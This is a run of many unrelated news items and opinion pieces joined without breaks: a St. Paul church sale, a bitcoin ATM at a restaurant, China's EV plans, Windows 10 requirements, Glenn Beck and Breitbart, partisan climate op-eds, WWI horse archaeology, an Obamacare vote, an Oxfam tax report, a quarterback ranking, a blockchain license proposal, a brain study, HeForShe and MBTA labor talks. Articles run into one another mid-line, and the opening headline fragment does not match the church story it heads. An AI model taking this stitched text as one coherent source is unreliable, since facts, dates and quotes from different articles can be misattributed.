$2000 gold ain’t far away:St. Paul's on the Hill, a historic Episcopal church in St. Paul, is for sale. It was shuttered last year after a dwindling and aging congregation decided it didn't have the numbers to keep it going as a house of worship.
For sale: A 103-year-old church on St. Paul's most prestigious street, designed by the same architect who created the Cathedral of St. Paul and the Basilica of St. Mary. Asking price is $1.69
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in my building, so we didn’t feel the need to bolt it down,” he explained.
5. Visibility
For Veggie Galaxy, much of the discussion was centered on visibility, or more broadly, how the ATM could be installed in a way that established a synergy with the existing store and its traffic.
Owners Kathy and Adam Penn maintained that keeping the BTC ATM too close to the front window may inspire smash-and-grab attacks, whereas putting it too far in the back of the restaurant may not give it proper attention.
Ultimately, both parties decided that the goal was to “promote awareness” and that it was perhaps best stored near the main cash register, even though – due to transaction clearing times – customers won’t yet be able to buy bitcoin and quickly make a purchase.
6. Criminal deterrents
As for Turner’s concern about criminals using the machine, BTC ATM manufacturers say they already comply with know your customer (KYC) regulations so as to ensure that machines are used in accordance with the law.
Evan Rose, president and CEO of Bitcoin ATM, which produces Genesis ATMs, stressed that the enhanced security features his BTC ATMs offer, such as biometrics, help make them safer than traditional cash ATMs.
Likewise, Di Iorio suggested he was comfortable with his access to information from his customers, adding that he has imposed KYC-level security, even though bitcoin is not yet considered money in Canada.
“We have a maximum $2,000-per-day limit per customer, tracked through their phone number, that’s the maximum we allow every 24 hours. We take their phone numbers […] to ensure they’re not going over the limits we have on the machine.”
7. Service agreements
Of course, in addition to simply housing the machine, merchants will also need to pay for its power supply, and potentially cover the device under their insurance policies. Understanding these added costs, and bringing them to the attention of the operator is essential for both parties so that a rental agreement can be established.
While Veggie Galaxy is considering accepting a flat rental fee for housing the ATM, more complex arrangements that entail profit-sharing are not hard to imagine, given that CoinShovel plans to charge a 5% markup on transactions.
For example, Di Iorio is self-stocking his machine as opposed to integrating it into a bitcoin exchange, a move that reduced his costs. Now, however, Di Iorio needs to price his ATM competitively with other services, such as over-the-counter bitcoin exchanges like LocalBitcoins.com, which facilitate more inexpensive peer-to-peer transactions.
Understanding these potential added costs and dividing responsibilities between parties will likely be key to fostering a lasting agreement. In this instance, Veggie Galaxy and CoinShovel agreed informally to a trial, 30-day agreement so all concerns could be worked out.
CoinShovel is now in the process of registering with the required Massachusetts regulatory bodies to meet the compliance requirements
Ultimately, Turner suggested that while she is supportive of the bitcoin community, it’s a business decision, and she’ll be watching is how much business the ATM brings in over the trial before she moves forward with the deal.China, that contradictory land of coal, smog, and renewable energy, may be on the verge of leadership in another green technology sector: electric and hybrid vehicles. The Chinese government announced today a plan to invest up to $15 billion in a state-run venture that will research, develop, and generate standards for upcoming hybrids and EVs. The venture will also put millions of electric cars on the road in the coming years, according to The New York Times.
The news will come as no surprise to anyone who follows the Chinese vehicle market. GM recently teamed up with Chinese state-controlled automaker SAIC to develop fuel-efficient engines and transmissions, for example, and we declared Chinese car company BYD as one of our Most Innovative Companies this year.
Electric vehicle infrastructure startup Better Place has also placed its chips on China. “We always said we want China to get in on [the battery switch]
system because it creates a de facto standard,” Better Place CEO Shai Agassi told Fast Company last month. “China going electric decreases the price of EVs for everyone.”
It doesn’t hurt that Asia has an ever-expanding middle class that is expected to spend $32 trillion by 2030. China has the perfect storm of cash, consumers, and a willful government. It’s hard to compete with that–as the U.S. may be about to find out.
Ariel Schwartz can be reached on Twitter or by email.Windows Vista was a shock to many Windows users, as its hardware requirements represented a steep upgrade over those required to run Windows XP: most 32-bit versions required a 1GHz processor, 1GB RAM, DirectX 9 graphics, and 40 GB of mass storage with 15GB free. But those 2006-era requirements looked much less steep once Windows 7 rolled out in 2009: it required almost the same system specs, but now 16GB of available disk space instead of 15. Windows 8 again stuck with the same specs and, at its release, so did Windows 10.
But the Windows 10 Anniversary Update (referred to in documentation as version 1607, so it ought to ship in July) changes that, with the first meaningful change in the Windows system requirements in almost a decade. The RAM requirement is going up, with 2GB the new floor for 32-bit installations. This happens to bring the system in line with the 64-bit requirements, which has called for 2GB since Windows 7.
The changed requirements were first spotted by Nokia Power User and WinBeta.
These hardware demands are only particularly relevant for system builders; they'll need to meet the new specs for machines that ship with Windows 10 preinstalled. Windows will still install and run on machines with less than 2GB; it'll just run better on systems with more memory.
This isn't the only hardware change that comes this summer. The initial Windows 10 specifications said that after July 28, all new systems must ship with Trusted Platform Module (TPM) 2.0. The TPM is used for various cryptographic purposes, including storing disk encryption keys. Until this cut-off date, OEMs could choose between TPM 1.2 and 2.0; TPM 2.0 adds a number of additional encryption capabilities to the 1.2 version.
The new specs also change the acceptable screen sizes for Windows 10. Previously, Windows 10 Mobile could ship on phones and tablets with screens up to 7.9 inches, with full Windows 10 on devices with screens of 8 inches or greater. Both of these ranges are now expanded, with Windows 10 Mobile accepted on screens less than 9 inches, and desktop Windows 10 now allowed on anything with a screen of 7 inches or greater.
Previous updates to the specs enabled the support for Qualcomm's new Snapdragon 820 in Windows Mobile. However, ARM support remains stubbornly restricted to 32-bit, with no 64-bit support for any of the 64-bit ARM processors. Microsoft representatives said at its Build conference in 2015 that a 64-bit ARM compiler was in development, and the company hinted that it would become available by the end of last year. It seems that it is still not finished.
Update: Several readers have pointed out that in addition to these spec changes, Windows 8 introduced some additional requirements from the processors, mandating the support of SSE2 and non-executable memory. While this had no impact at all on preinstalled software (as processors without these features had long since ceased production), they did have some significance for those hoping to upgrade very old machines to the new operating system.Glenn Beck came out swinging against Breitbart News on Monday for citing him out of context over his plea for the U.S. to save Syrian refugees.
Breitbart headlined a story “Glenn Beck in His Own Words: I’ll Save More People Than Schindler.” Only those weren’t really Beck’s words. What the conservative host actually told The Daily Caller was: “We can save more people by Christmas than Oscar Schindler saved, OK?”
As you can see, Breitbart seems to have confused the word “we” with “I.” In a lengthy Facebook post, Beck tore into the conservative news site.
Also Read: Glenn Beck Calls Sarah Palin a 'Clown': I'm Embarrassed I Supported Her
“Breitbart news. Are you this petty? Are you void of anything decent? Answer: no. Just like last week when I said something stupid that I regretted, you have done the same. How could you say “in his own words” and then make up a quote from me? Those are your words not mine. Let’s focus on these words: never again — is now.”
He then listed a litany of grievances he has with the site, including taking his interview with the wife of Supreme Court Justice Clarence Thomas out of context: “You tried to take an interview with the wife of one of the bravest men in government Clarence Thomas — an interview with [a] woman who has guts, determination and courage far beyond anything I will ever posses [sic] — and turn it into something ugly.”
Also Read: Donald Trump Banished by Glenn Beck Radio Show
For Breitbart’s part, the site reported on Beck’s Facebook rant with no real defense of its own story or headline. The website did not immediately respond to TheWrap‘s request for comment.“Where is the change in the promise of ‘change’?”
Heard it before?
Perhaps from a little voice occasionally gnawing at you?
Let’s zero in on one aspect of the many-sided, all-important jobs question.
I realize the future of my now-adult children and my grandchildren depends on the future of all children in the human family.
Nothing worries me more and, at the same time, fills me with more hope than what the future on earth holds for them.
The conflicted musings of grandpa gone nuts? I don’t think so.
But you decide.
Consider what congressional candidate David Harmer told his Tea Party admirers: “Nowhere [in the Constitution] will you see the power to regulate carbon dioxide, what we exhale.”
After the laughs and giggles subsided, the Republican candidate in California’s 11th Congressional District declared he did not “believe” in global warming.
Let’s match this up with the observations of James Hansen, a preeminent scientist on global warming.
“Climate is nearing dangerous tipping points,” James Hansen warned two years ago. “Elements of a ‘perfect storm,’ a global cataclysm, are assembled.”
More recently, Hansen said, “Our fossil fuel addiction, if unabated, threatens our children and grandchildren, and most species on the planet.”
Nineteen of 20 Republican Senate candidates in contested races, along with a large majority of House Republican candidates backed by the Tea Party, question the science of global warming and oppose legislation to deal with it, a National Journal survey found.
Since the beginning of 2009, the oil, coal and utility industries have spent $500 million to lobby against legislation to deal with climate change and to defeat Democratic candidates who support it, the Center for American Progress Action Fund revealed.
With the aid of Republicans and a few conservative Democrats in Congress, these corporations earlier this year killed legislative efforts to address the global warming issue.
While remedies they propose vary from cosmetic to fundamental, Democrats do accept the widely-held scientific estimates about the dangers of global warming.
President Obama and Democrats generally subscribe to solutions that will result in creating “green” jobs – which leads us back to the “jobs” question.
Parroting oil company arguments, Republicans claim moving to a green economy during this time of high unemployment will make a bad situation worse.
But again, scientific studies show this is precisely the time to move aggressively from fossil fuels to sustainable energy sources, as a main way to revive the economy and create millions of jobs.
The Apollo Alliance, a coalition of union, environmental and business groups, recently released a new national study showing that a $40 billion investment in clean transit and vehicle manufacturing will create 3.7 million direct and indirect jobs – 600,000 alone in the manufacturing sector in six years.
If Democrats increase their majorities in both houses of Congress, this issue will be very much in play, as will the fight over superficial versus more basic solutions.
But, if Republicans take control of the House and increase their Senate numbers, the issue of global warming and green energy jobs will be dead in Congress, period!
Which brings us back to the question: What’s in store for us and our loved ones, and future generations?
The billions of years that it took earth to generate life, eventually human life and then civilization could be blown away in less than a person’s lifetime.
Perhaps that’s too terrifying to contemplate, no matter how likely it is to unfold IF the Republicans win in November and in the 2012 presidential elections.
With a few days left until Nov. 2, that IF depends on each one of us taking the time to cast our vote and making sure everyone around us does the same!
This painful stage in our nation’s life is also pregnant with new hope born of struggle by working people in our country and all over the globe.
Just a few years ago, I would never have imagined I would see our nation’s first African American president brought into office by a grand multiracial coalition including millions of our white compatriots.
Make no mistake, the racist attacks on our president by Republican candidates and Tea party activists are a desperate move orchestrated by a tiny far-right minority – the magnates of the oil, banking, insurance and military industries, among others – intent on turning back the clock of history.
It nearly brought tears to my eyes to see a magnificently diverse and united coalition unfolding under the banner of “One Nation, Working Together,” as nearly 200,000 followers gathered in our nation’s capital Oct. 2.
The change we all seek is not vested on one individual or political party – it is vested in every single one of us doing our part, no matter how insignificant it might appear at first sight.
Let us recall the remarks of the noted scientist Hansen on the eve of the 2008 presidential elections.
“The election is critical for the planet.
“If Americans turn out to pasture the most brontosaurian [dinosaur-like] congressmen, if Washington adapts to address climate change, our children and grandchildren can still hold great expectations.
“Solution of the climate problem requires that we move to carbon-free energy promptly!”
Photo by Takver, courtesy Flickr, cc by 2.0Archaeologists from the University of Bristol have teamed up with school children, veterans of modern conflict and other volunteers to uncover the history of Britain's real-life war horses.
Digging War Horse is part of the First World War centenary celebrations and aims to discover how and where the huge number of horses and mules that hauled weaponry, stores and personnel to and from the front line were cared for.
The latest phase involved the excavation of a site at Larkhill Camp on Salisbury Plain.
Documentary evidence suggested this to be the site of a specialised veterinary hospital which would have quarantined and cared for some of the 500,000 animals commandeered from British families or imported from the Americas and Iberian Peninsula during the Great War.
Test pits were dug and a controlled metal detection survey of the site was conducted.
No physical trace of the horse hospital buildings survived, however, horse shoes, farrier's nails and various materials associated with equine activity were found.
The two week project evoked the spirit of the war with chefs cooking ration-style food for the excavators and a photographer documenting the event with a World War I plate camera.
Philip Rowe, from the University's Department of Archaeology and Anthropology, gave public presentations on artefact handling, the legacy of World War I, and a how-to guide on researching the home front.
He said: "This project enables researchers, young people and those effected by the traumas of war to work together. Horses were such an important part of the legacy of World War I and Digging War Horse helps people to understand the significance of horses during the war years at home and abroad."
Academics were joined by local school children and service men and women who have been injured in modern conflicts from Operation Nightingale, an organisation that supports ex-soldiers' rehabilitation and skills development through archaeology.
The programme aids both physical and emotional recovery through using expertise common to both professions, such as geophysics, scrutiny of the ground, team management, mapping and the ability to cope with hard manual work in any weather conditions.
The Digging War Horse project will officially finish in March. The final results will be presented at an event where the creator of the stage production Warhorse, Michael Morpurgo, will be in attendance along with the iconic animatronic puppetry.
Explore further: War is text: Researchers find depictions of war in school textbooks shifted radically after Vietnam eraRepealing Obamacare is going to be a long and difficult path, but Mitch McConnell must be excited.
The Senate took a meaningful step toward repealing Obamacare in the early hours of Thursday morning, with Republicans voting nearly unanimously to approve a budget that would kill the health-care law. Going into the session, there was a sense that Democrats might be able to use the vote — and their freedom to offer politically dangerous amendments — to split the GOP over when and how they hoped to enact the repeal. After all, several Republican senators have lately voiced doubts over the party’s apparent strategy of repeal and delay, and the turmoil has only been deepened by Donald Trump’s recent announcements that Obamacare repeal must be accompanied by a full replacement with some yet-to-be-determined-but-definitely-terrific GOP plan. The logistics of doing what the president-elect and the handful of wavering Republican senators want are, to say the least, daunting.
But when it came to cast the key vote last night, party unity held: 51 of 52 Senate Republicans voted for the repeal budget (only Rand Paul bucked party discipline, reflecting his opposition to repealing Obamacare without a replacement plan being in place). No Democrats crossed the line to vote for it, though Dianne Feinstein was absent following surgery.
Over the course of the evening, 17 amendments were brought to the floor. Most were offered by Democrats, seeking to highlight popular aspects of Obamacare that would be lost in repeal. All the amendments were, in turn, defeated. The Republicans senators who were expected to offer an amendment to put off the deadline for passing the actual repeal — in the form of a budget-reconciliation bill — from late January to early March announced they were backing off, based on assurances from leadership that the deadlines could be adjusted later. Which is to say, for the moment, the party managed to paper over substantive disagreements by kicking key questions down the road.
So did Democrats get anything of value from this truncated exercise? Perhaps so. Republican senators are now on record as having rejected opportunities to keep Medicare, Medicaid, and the children’s health program CHIP off the cutting-room floor; to make it possible to import prescription drugs from Canada; to prevent erosion of women’s health services and support for rural hospitals; and perhaps most tellingly, to protect Medicaid funding for the 32 states that accepted the option of expanding that program under the Affordable Care Act.
For the moment, the budget resolution will go to the House, which is expected to approve it on Friday unless the Freedom Caucus (some of whose members share Rand Paul’s heartburn over moving ahead with an Obamacare repeal without a replacement) decides to rebel. And then the real rubber will meet the road as Republicans try to figure out what exactly to put into the repeal legislation to deal with the transition and to satisfy wildly varying Republican views on the post-Obamacare health-care system.
The future for Obamacare remains fuzzy. The big, potentially derailing disagreements over repeal among Republicans — most importantly between the Congressional leadership and Trump — remain very much in place. Nothing about last night’s vote changes that. But the fact that the party could pull together to pass the repeal budget has to be encouraging for conservatives. It’s a relatively easy part of a long process — but there’s no question that America is now a little bit closer to losing Obamacare.Leading poverty charity Oxfam revealed on Thursday that the top 50 biggest companies in the United States have hidden trillions of dollars in offshore funds amounting to more than the GDP of Spain, Mexico and Australia.
EDINBURGH (Sputnik), Mark Hirst – In a report, titled "Broken at the Top," Oxfam found that the companies profited by almost $4 trillion globally between 2008 and 2014 and received a "staggering" $11 trillion in US government support over the same period.
"Yet again we have evidence of a massive systematic abuse of the global tax system. We can’t go on with a situation where the rich and powerful are not paying their fair share of tax, leaving the rest of us to foot the bill. Governments across the globe must come together now to end the era of tax havens," Senior Tax Advisor at Oxfam Robbie Silverman said in a statement.
Oxfam went on to say that they estimate 90 percent of global firms are involved in tax avoidance.
"The same tricks and tools used by multinational companies to dodge tax in the US are being used to cheat countries across the world out of their fair share of tax revenues, with devastating consequences. Poor countries are particularly hard hit, losing an estimated $100 billion a year to corporate tax dodgers. This is enough to provide safe water and sanitation to more than 2.2 billion people," Silverman said.
One of the leading overseas territories named in the Oxfam report is the British crown dependency of Bermuda.
Speaking exclusively to Sputnik News, Ronen Palen, a Professor in International Politics and a respected expert in the use of tax havens by corporations, said "We knew that companies use tax havens for tax planning purposes, we knew less about them stashing trillions in tax havens."
Palen suggested that there is not enough political will in the United Kingdom to resolve the problem.
"Companies should pay tax like the rest of us, unless they do the system is broken. There are always ways and means of resolving such techniques of avoidance, but we need serious political will. I am not surprised to hear the name of Bermuda, British overseas territories are leading the pack of tax havens: indeed, I see the UK as part of the problem, not part of the solution right now," Palen told Sputnik.
On April 3, the German newspaper Sueddeutsche Zeitung exposed the alleged involvement of a number of former and current world leaders in offshore schemes by publishing materials it claimed came from Mossack Fonseca.
Mossack Fonseca has refused to validate the information contained in the Panama Papers leaks and accused reporters of gaining unauthorized access to its proprietary documents. It warned that using unlawfully-obtained data was a crime that it would not hesitate to punish by legal means.After playing one of the worst Super Bowls as the QB for the Eagles vs Oakland back in 1981 in Super Bowl XV, somehow, someway, people today seem to feel that whatever ESPN ‘analyst’ Ron Jaworski says about quarterbacks is true.
Despite never being a winning one himself.
Jaworski is making headlines in Steeler Nation today over his “QB Countdown” list, which lists the best QB’s in the game. Steelers QB Ben Roethlisberger – the same as his number – 7th on the list.
Roethlisberger dropped a spot from six to seven, and those above him? They are pretty good, just still think at the end of the day Ben never seems to get the credit he deserves.
Here’s the list in the eyes of Jaworski leading up to Roethlsiberger.
1. Tom Brady Patriots
2. Drew Brees Saints
3. Peyton Manning Broncos
4. Aaron Rodgers Packers
5. Matt Ryan Falcons
6. Joe Flacco Ravens
Now I think when you look at a list like this, Brady, Brees and Manning are always going to get their due – so I don’t have too much of an issue with that.
Rodgers at four I will even give you – but Matt Ryan at five and Joe Flacco at six? Come on.
Ryan was good last season, but the 5th best QB in the game today? He’s won one playoff game in his career after a couple of failures, and had a big lead vs the 49’ers in the NFC Title game last season, only to be part of a complete flop that saw Atlanta with a shot late to comeback, and they failed.
This isn’t to say that Ryan shouldn’t be in the top 10, but over Ben? I don’t think a lot of NFL GM’s would see it that way if there was a shot to pick both in a draft.
As for Flacco – give me a break.
One season, and more so, one late run a player it does not make. How about Trent Dilfer? He’s another former Ravens scrub QB that is living off a hot run in the postseason. Not to say that Flacco is another Dilfer, but he’s not the 6th best QB in the game.
Flacco has shown in big games before the postseason last year that he tends to run and hide, and get lost in the shuffle. How about the AFC Divisional game in Heinz Field in 2010?
Last season he couldn’t even beat the Steelers 3rd string QB (Charlie Batch) at home, and while yes, he was impressive in the postseason, I still think to this day he’s got a lot more to prove.
By the way, for those wondering, here’s the top 10 for ‘Jaws’ lines up as follows after Ben:
8 Eli Manning Giants
9 Matt Schaub Texans
10 Andrew Luck ColtsUpdate: The full text of the Jelurida Public License has now been published: https://www.jelurida.com/jpl
The copyleft licenses such as the GPL were designed to protect the value of the code which is created in open source projects. They make sure anyone who builds on top of this code also releases their code under the same copyleft license, thus sharing back with the community and the developers of the original project the added value of the derived work.
Copyleft licenses however were created long before cryptocurrency and blockchain technologies appeared, and could not have anticipated the fact that today the value of an open source blockchain project is contained not only in the program code being written, but in the unique public blockchain instance maintained by this project, with its developers and community sharing the common interest to preserve and increase the value of this blockchain token.
Jelurida is working on a new "coinleft" license model for its upcoming Ardor platform, better suited for open source cryptocurrency projects, which would make sure that not only the value of the source code is protected when the code of a blockchain project is used in another blockchain, but the community of the original blockchain token holders also receives back some of the new blockchain token value created by any such derived work projects.
The new Jelurida Public License (JPL) under which our Ardor platform is planned to be released, will have the following requirement, as an addition to the current GPLv2 clauses. Anyone can use the Ardor source code in another blockchain platform, provided that:
The Ignis holders from the original Ardor platform are allocated at least 10% of the forging tokens in that new blockchain, proportional to their Ignis holdings,
OR The Ardor holders from the original Ardor platform, or the forging token holders from a blockchain that has already satisfied the JPL requirements, are allocated 100% of the forging tokens in that new blockchain, proportional to their forging token holdings.
The first case covers clones of the Ardor platform, and ensures that Ignis owners will receive a sharedrop from any such clone launched in the future, or any existing Nxt clone that decides to either migrate to the Ardor codebase or backport code from it.
The second case is to cover hard forks, as by definition at the time of the hard fork all accounts start with the same balances on either fork, and it would be difficult to make a hard fork satisfy the first condition.
In both cases, Ignis or Ardor holdings respectively must be calculated based on a snapshot taken not earlier than 3 months before the launch of the new blockchain. For a new blockchain, the snapshot should also be taken not later than 24 h before the launch, to avoid the uncertainty due to the 720 blocks rolling checkpoint.
There should be no restriction or any type of discrimination against accounts receiving tokens as a sharedrop.
If token distribution must be restricted by some criteria that not all existing Ignis holders can potentially satisfy, a specific exemption from the full JPL sharedrop requirements must be obtained in advance. Jelurida reserves the right to not grant such exemption, or to require a commercial license in such situations, to be decided on a case by case basis.
Any derived work based on the Ardor software (or any other JPL-licensed software) must also be released under the same JPL license, with the requirement to give back forging tokens from new blockchains to the original Ignis or Ardor holders (not to the derived blockchain token holders).
The JPL requirements apply not only when a new blockchain is started as a derived work based on the Ardor platform, but also when including any JPL-licensed code into another blockchain. Such inclusion requires that this other blockchain is placed under the JPL license, and one of the above sharedrop requirements is satisfied (unless already done).
A derived work which cannot satisfy the sharedrop requirement because it does not constitute a blockchain and does not issue tokens, will be exempt from the sharedrop requirement, however still must be placed under the JPL, meaning any use of such work in another blockchain carries with it the full requirements of the JPL, including the sharedrop requirement.
Jelurida makes a commitment not to sell commercial licenses to any projects that intend to distribute their forging tokens to the general public. The above license and mandatory sharedrop will apply for any blockchain that is a derivative of the Ardor platform, without the possibility for the new platform creators to pay Jelurida for an exemption. Such a project can optionally still pay Jelurida for support and consulting services, but does not have to, and Jelurida is free to decide whether to provide such support, consulting, or endorsment.
Jelurida reserves the right to provide commercial licensing, or grant full or partial exemption from the JPL requirements for projects that by design or legal restrictions cannot satisfy the JPL sharedrop requirements.
As internal (private) use of Ardor software cannot satisfy the JPL sharedrop requirement, such use will also require an evaluation license agreement with Jelurida.
The above is only a proposal and work in progress, and as such is subject to change at any time. The final text of the Jelurida Public License will be prepared and published before the launch of the Ardor platform.
With the JPL, Jelurida aims to start a new class of "coinleft" licenses, better protecting the interests of all cryptocurrency projects. We would encourage other projects to also use the JPL, with modifications as needed to fit their specific platform, and hope that the JPL will become the de-facto standard in this field.By: Stephanie Pappas
Published: 12/01/2015 on LiveScience
There is no such thing as a "male brain" or a "female brain," new research finds.
Instead, men and women's brains are an unpredictable mishmash of malelike and femalelike features, the study concludes. Even in brain regions previously thought to show differences based on sex, variability is more common than consistency.
"Our study demonstrates that although there are sex/gender differences in brain structure, brains do not fall into two classes, one typical of males and the other typical of females, nor are they aligned along a'male brain–female brain' continuum," the study researchers wrote today (Nov. 30) in the journal Proceedings of the National Academy of Sciences. "Rather, even when considering only the small group of brain features that show the largest sex/gender differences, each brain is a unique mosaic of features, some of which may be more common in females compared with males, others may be more common in males compared with females, and still others may be common in both females and males." [10 Surprising Facts About a Woman's Brain]
Pink and blue brains?
The new research is the first to examine sex differences in the brain as a whole. If the brain is truly sexually dimorphic, coming in a male and a female form, it should be consistently different between the two sexes, Tel Aviv University psychobiologist Daphna Joel and her colleagues wrote. Consider the peacock, with its sexually dimorphic tail: The difference in color and size is consistent between the sexes – there's no subset of peahens brandishing iridescent purple feathers.
Clearly, brains don't fit this pattern; there is far more variation in brains within sexes than between them, a fact that has been known for a long time, said Rebecca Jordan-Young, a professor of women's gender & sexuality studies at Barnard College in New York and author of "Brain Storm: The flaws in the science of sex differences" (Harvard University Press, 2010). Many neuroscientists had already concluded that brains are checkered with a mix of male- and femalelike structures, said Jordan-Young, who was not involved in the new study.
But despite this variation, there could still be a continuum of male-type and female-type brains, Joel and her colleagues reasoned, so long as the gender differences between structures are consistent between men and women. They decided to put the question to a test.
The researchers combed through more than 1,400 magnetic resonance images (MRI) from multiple studies of male and female brains, focusing on regions with the largest gender differences. In the first analysis, using brain scans from 169 men and 112 women, the researchers defined "malelike" and "femalelike" as the 33 percent most extreme gender-difference scores on gray matter from 10 regions. Even with this generous designation of "male" and "female" scores, the researchers found little evidence of the consistency they would need to prove brain dimorphism. Only 6 percent of brains were internally consistent as male or female, meaning all 10 regions were either femalelike or malelike, the researchers found. Another analysis of more than 600 brains from 18- to 26-year-olds found that only 2.4 percent were internally consistent as male or female, while substantial variability was the rule for more than half (52 percent).
In other words, there were very few individuals whose brain regions were all malelike or femalelike. And there was no clear continuum between the two endpoints. Instead, across both gray and white matter and in connectivity patterns, brains are so overlapping that calling a particular form male or female is meaningless, Joel and her colleagues wrote. [Men vs. Women: Our Key Physical Differences Explained]
"Our results demonstrate that even when analyses are restricted to a small number of brain regions (or connections) showing the largest sex/gender differences, internal consistency is rare and is much less common than substantial variability (i.e., being at the one end of the'maleness-femaleness' continuum on some elements and at the other end on other elements)," they wrote.
A sexual mosaic
"Anyone who is aware of current data on brain sex differences appreciates that there is no such thing as a monolithic'male brain' or 'female brain,' in much the same way as there is no such thing as a male heart and a female heart," said Lise Eliot, a neuroscientist at Rosalind Franklin University in Chicago and author of "Pink Brain, Blue Brain: How Small Differences Grow Into Troublesome Gaps — And What We Can Do About It" (Mariner, 2010).
Eliot, who was not involved in the new study, said the research was an "innovative approach" to sifting through brain gender differences. While statistical differences between the genders exist, she told Live Science, the new study shows that the distribution of malelike and femalelike attributes is patchy, not uniform.
Indeed, previous studies have found large areas of overlap in the structure of male and female brain structures, even when population-level gender differences are found.
"Every individual could have part of both men and women in them," radiologist Ragini Verma told Live Science in 2013after finding differences in connectivity between male and female brains.
The findings are consistent with an emerging line of research on the hormonal control of brain development, Joel and her colleagues wrote. Early on, neuroscientists had viewed sex-specific hormones as the key to sex difference in the brain, with testosterone "masculinizing" the brain and estrogen "feminizing" it.
Though hormonal influences are important, the real story is far more complex, according to a 2011 review in Nature Neuroscience. A growing body of evidence suggests that development is a give-and-take between genetic, environmental and epigenetic (above the genome) factors, all of which are acting in parallel and influencing one another in complicated ways. Different brain regions react in different ways to sex-specific influences, which are not limited to estrogen and testosterone, that review found. Meanwhile, environmental influences such as prenatal or early-life stress can feed back into this process, again altering how the brain develops.
All of these parallel processes could explain why simple stereotypes about male and female interests, abilities and intelligence so often fail on an individual level, Jordan-Young told Live Science.
"The idea of a unified'masculine' or 'feminine' personality turns out not to describe real people," she said. "It describes stereotypes to which we constantly compare ourselves and each other, but more people are 'gender non-conforming' than we generally realize."
Follow Stephanie Pappas on Twitter and Google+. Follow us @livescience, Facebook & Google+. Original article onLive Science.
Copyright 2015 LiveScience, a Purch company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Also on HuffPost:I suspect that some meteorologists are going to get some questions about a propaganda piece in Forbes stating that 2015 was not the hottest year on record. Trust me it was. NASA, The UK Met Office, and NOAA all do their own calculations and they say it was. Not only that, but their methods have been published in multiple papers, in the top journals of science.
Forbes, instead of reporting this, decided to give space to someone who knows nothing about climate physics to make the same old claims that have long been proven beyond doubt to be wrong. Instead he’s a senior person with a right-wing libertarian “think-tank” called the Heartland Institute, who are known for just this kind of silliness. He has NO background in science, but he played one in Forbes.
Are there differences between the satellite temperatures, and the surface data/ glacier mass balance/ ocean heat content, data (that all shows strong warming? Yes, the satellites data is by far the least reliable because it has to be adjusted considerably for multiple reasons. A good summary of them is here.
This is a perfect example of how not to get accurate science. If Forbes
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total commitment of nations so far to about $US8 billion. The fund wants to raise $US10-15 billion by the end of the month. Last week, the US and China jointly unveiled an historic commitment, albeit non-binding, to curb carbon emissions that scientists say are primarily responsible for raising the globe's temperature. While Treasurer Joe Hockey said the first draft of the communique mentioned the dangers of climate change, it is likely the reference will be far more extensive than Australia originally wanted. The EU official also said China had also been persuaded to back a key anti-corruption measure for members to co-operate to uncover the beneficial ownership of companies and bank accounts, Reuters reported.HeForShe partners with the Scout Movement to advance gender equality
Date: Tuesday, August 29, 2017
They learn how to cook in the wild, care for the environment, and problem-solve in difficult circumstances. But the world’s 50 million Scouts are taught much more than that. They learn the values and personal skills that make the world a better place. At the 41st World Scout Conference in Baku, Azerbaijan, the Scout Movement added another dimension to the richness of what it means to be a Scout. Through a new partnership with UN Women’s HeForShe initiative, millions of Scouts all over the globe will strive for a more gender-equal world.
Over the next three years, both organizations will collaborate to increase awareness about gender equality and women’s empowerment, and inspire young people to take action. Moreover, all 50 million Scouts are expected to commit to HeForShe by 2020.
“HeForShe is incredibly excited about teaming up with the Scout Movement. While gender norms are formed very young, it is also often young people who ask the best questions like: ‘Why can’t things be better?’ or ‘Shouldn’t we all have the same opportunities?’,” said Elizabeth Nyamayaro, the Senior Advisor to the Executive Director of UN Women and Head of the HeForShe initiative. “We believe harnessing the energy of the world’s Scouts toward gender equality has the potential to change how the next generation approaches issues of gender, rights and equality.”
The Scout Movement endeavors to have 100 million young people creating positive change in their communities by 2023. Secretary-General of the World Organization of the Scout Movement (WOSM), Ahmad Alhendawi, said of the new partnership, “I’m honoured to pledge my support for the HeForShe initiative, and I invite everyone in the Scout Movement to join me. Let’s take action toward achieving gender equality and creating a better world!”
The reactions from some Scouts speaking out on social media was also very enthusiastic, with one young Scout commenting, “As a scout and HeForShe advocate, recognizing the power of the two... this couldn't make me more proud and hopeful.”MBTA
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BOSTON MAYOR MARTY WALSH appears to be working behind the scenes to find common ground between MBTA unions and Gov. Charlie Baker on privatization efforts at the transit agency.
At a rally of MBTA workers on the State House steps Thursday, Walsh said he had spent the last few weeks talking with the administration about its privatization efforts and indicated some progress was being made.
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“They’ve been decent conversations,” said Walsh, who headed the Boston Building Trades Council before he was elected mayor. “I know that there’s an opportunity to move forward and not lose any more services.”
As he walked away from the rally, Walsh offered a few more details. He said he had been talking directly with the governor, with whom he has formed a close relationship.
“We’ve had conversations about going down a different road,” the mayor said. “I think the governor is looking at every option that’s in front of him as the governor will and should do. I think the union officials are fighting to make sure they keep the jurisdiction that they have today. I think there’s an ability to get to common ground. I do believe that we can get to a place where both sides can win. There can be savings that are needed for the long-term stability of the MBTA and also security for the jobs.”
Walsh declined to provide details on his negotiations, but said he has focused primarily on ways to prevent privatization of bus services and the T’s warehouse operations, both of which he opposes.
Baker told reporters that administration officials are engaged in talks with the union. “We hope and anticipate that those discussions will lead to positive results, but as I said many times, it’s important for us to ensure that the T is a highly functioning, effective, and reliable, dependable transportation system for the millions of Massachusetts residents that ride it and for all of the taxpayers and riders that pay for it.”
In his remarks to the T workers, Walsh seemed to enjoy being back at a labor rally. “It’s an honor to be here today standing with my brothers and sisters from labor,” he said, as workers holding signs and wearing matching orange shirts shouted their support.
Walsh said the T has been facing a structural deficit for years. “It has a revenue problem and we have to figure out how we fix that. And you don’t fix it on the backs of the working people at the T. That is not how you do it,” he said. “Maybe we should look at the management structure. Maybe we should do some reforms in the office there.”
